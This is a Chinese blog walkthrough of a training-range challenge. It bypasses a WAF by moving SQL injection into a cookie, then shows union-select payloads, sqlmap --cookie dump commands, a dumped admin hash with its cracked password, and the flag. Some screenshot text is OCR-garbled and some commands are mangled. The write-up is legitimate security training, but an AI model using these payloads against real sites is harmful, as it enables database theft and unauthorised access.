封神台靶场-第二章

原创

 Mr H

 于 2020-07-12 11:28:58 发布

 1358 % 收藏 7

 分类专栏:

 封神台 封神台-第二章 文章标签: 渗透测试靶场

 版权声明:

 本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

 本文链接:

 https://blog.csdn.net/Mr_helloword/article/details/107294184

 版权



封神台同时被2个专栏收录

2篇文章1订阅

订阅专栏



封神台-第二章

1 篇文章 0 订阅 订阅专栏

第二章:遇到阻难!绕过WAF过滤

1.查找有无sql注入点利用and 1=1发现做了过滤

📄 火狐首方站点 🍵 火狐首方站点 🍯 新手上路 📄 常用网址 🛅 常用网址 🔟 家东商城
传参馆院:参数 的图书包含非应子符种: 语不要在参数中计图: and undate delete :insert mid mast : 医非法字符 !!
正在传输来目 59.63.200.79 的数编
R O 查看器 D 控制绘 D 调试器 ↑↓ 网络() 样式编辑器 O 性能 ① 内存 日 存储 计 无趣意环境 ● HackBar
Encryption + Encoding + SQL + XSS + LFI + XXE + Other +
a Load URL http://59.63.200.79:8004/shownews.asp?id=171 and 1=1
Split URL
Execute Post data Referer User Agent Cookies Clear All

https://blog.csdn.net/Mr_hellowor

使用order by 查字段数发现order by 没有被过滤,最后当字段为10时显示正常字段为10



福建博均雕塑 FUJIAN BOJUN DIAOSHU	脱胎漆器有限公司 TUOTAIQIQU LIMITED COMPANY	(ECCA)	
网站首	「页 关于我们 产品中心	新闻中心	客户案例 在线留言
● 新闻中心	数据库出错		
·企业新闻			

2.因为网页做了waf过略防护,这里我们考虑用cookie注入,可以进行绕过: 这里我们使用一个小工具进行注入(火狐插件)



这款工具可以自定义请求头响应头(Request header,Reponse header)

打开这款插件直接在value处填写注入参数即可然后按上面的键开始(value中的值需要注意的是空格用+表示)

≡	 Profile 1 + ► 🔁
Q,	Request headers
2	Name Value 🖉 🗡
₽	cookie id=170+union+sele_t+1,usernan ∠1 ×
1F	
	/
ß	
0	ModHeader is Paused RESUME https://blog.csdn.net/Wr_helloword

3.使用联合查询

这里我们做了猜测一般表名为admin,猜测尝试字段(admin, password,)

查询语句	结果
id=1171+union+select+1,2,3,4,5,6,7,8,9,10+from+admin	查看回显
id=1171+union+select+1,username,password,4,5,6,7,8,9,10+from+admin	查询字段值

:
•
×
×
\sim
rd

回显位置: 2/3

🖸 🔏 59.63.200.79:8004/shov	vnews.asp			鬷 170%	… ☆	II\ 🛙 🖲
⁵³⁴ ♥ 新手L路 目常用网址 目常用网址 福建博均開 FUJIAN BOJUN D	■ 離塑脱胎漆器有限公司 AOSHU TUOTAIQIQU LIMITED COMPANY	355				
	网站首页 关于我们 产品中心	新闻中心	客户案例	在线留言	联系我们	
■ 新闻中心	i 2		Service.			
·企业新闻			2			
·行业新闻			10 - 0			
·技术资料		发布者:7	发布时间: 8 阅	圆读:9次		
·产品问答	3					
资质证书					https://blog.csdr ≱T	印木市川关闭

3.字段值(admin: b9a2a2b5dffb918c)

admin
admin
发布者:7 发布时间:8 阅读:9次
b9a2a2b5dffb918c MD5加密, 解密后为welcome



域名	: http://59.63.200.79:8004	开始扫描	停止扫描	
线程 超时	: 33	22 66 1	 ✓ 探测200 ─ 探测403 ─ 探测3XX 	
描信	息:扫描完成	扫描线程:0	扫描速度: 0/秒)
ID	地址		HTTP响 <u>应</u>	
19	http://59.63.200.79:8004/add.asp		200	
20	http://59.63.200.79:8004/shownews.asp		200	
21	http://59.63.200.79:8004/vote.asp		200	
2	http://59.63.200.79:8004/search.asp		200	
23	http://59.63.200.79:8004/help.asp		200	
4	http://59.63.200.79:8004/inc/foot.asp		200	
25	http://59.63.200.79:8004/download.asp		200	
26	http://59.63.200.79:8004/upload_other.asp		200	
27	http://59.63.200.79:8004/Image.asp		200	I
28	http://59.63.200.79:8004/GetPassword.asp		200	
9	http://59.63.200.79:8004/Index.asp		200	
30	http://59.63.200.79:8004/Upfile_Product.asp		200	
30				
32	http://59.63.200.79:8004/Upload_Dialog.asp		200	
33	http://59.63.200.79:8004/ShowNews.asp		200	
34	http://59.63.200.79:8004/admin/SouthidcEditor/PopUp.asp		200	
35	http://59.63.200.79:8004/admin/Southidceditor/ewebeditor.asp		200	
6	http://59.63.200.79:800 //admin/Southidceditor/upload.asp		200	
37	http://59.63.200.79:800./admin/conn.asp		200	
38	http://59.63.200.79:800./admin123/admin.asp		200	T

5.登录后台拿到flag

	■ 常用用性 □ 常用用性 □ 素氏菌類 へ 11.503 ± 145 700 元 // オ	[]移动设备上的书
无法找到该页 您正在搜索的页面可能已经删 请尝试以下操作: • 确保浏览器的地址栏 ⁴ • 如果通过单击链接而: 不正确。 • 单击 <u>后退</u> 按钮尝试另 HTTP 错误 404 - 文件或目录 Internet 信息服务 (IIS)	竟然成功进入了后台!拿走通关KEY, 下一关吧! zkz{welcome-control}	迎接
技术信息(为技术支持人员打		

1.sqlmap cookie注入用法

sqlmap -u [url] --cokie [id=] --[table|dbs|columns] --level [2] --batch

sqImap-cookie注入	查询
sqlmap -u http://59.63.200.79:8004/shownews.asp?cookie "id=171"tablelevel 2	查表
sqlmap -u http://59.63.200.79:8004/shownews.asp?cookie "id=171" -T admincolumnslevel 2	指定表查字段
sqlmap -u http://59.63.200.79:8004/shownews.asp?cookie "id=171" -T admin -C username,passworddumplevel 2	制定字段查值



这里到查到一半出来了我就结束了

please enter	number of threads? [Enter for 1 (current)] 1
[23:41:21] [V	<pre>(ARNING] running in a single-thread mode. This could take a</pre>
[23:41:22] []	[NFO] retrieved: user
[23:41:26] []	[NFO] retrieved: product
[23:41:33] []	[NFO] retrieved: admin
[23:41:37] []	[NFO] retrieved: news
[23:42:05] [1	[NFO] tried 191/3153 items (6%)

2. 查字段



Column	Туре	
+	+ non-numeri	+ ic
flag	non-numeri	ic
id	numeric	
passwore	non-numeri	ic
ι τιτιε	non-numeri	ic
username	non-numeri	ic
-	+	+

3. 查字段值

pot@kali:~# sqlmap -u http://59.63.200.79:8004/shownews.asp? --cookie "id=171" -T admin -C username,password --dump --level 2

这里到查到一半出来了我就结束了

......

[23.39.34]	[CRITICAL] CONNEC		he target okt	sycmap is	s going to	recry	the req
QK							
[23:59:43]	[INF0] retrieved	admin					
[23:59:52]	[INF0] retrieved	b9a2a2b5dffb918c					
[00:00:26]	[INF0] retrieved:	admin					
[00:00:36]	[INFO] recognized	possible password	hashes in col	umn 'passwo	ord'		
do you want	to store hashes	to a temporary file	for eventual	further pr	rocessing w	with ot	her too
100.00.001	ITNEO1	abaa da a damaanama	£-1 - 1 / + mm / -	- I V- ··· C I-	-1405/1-		- VE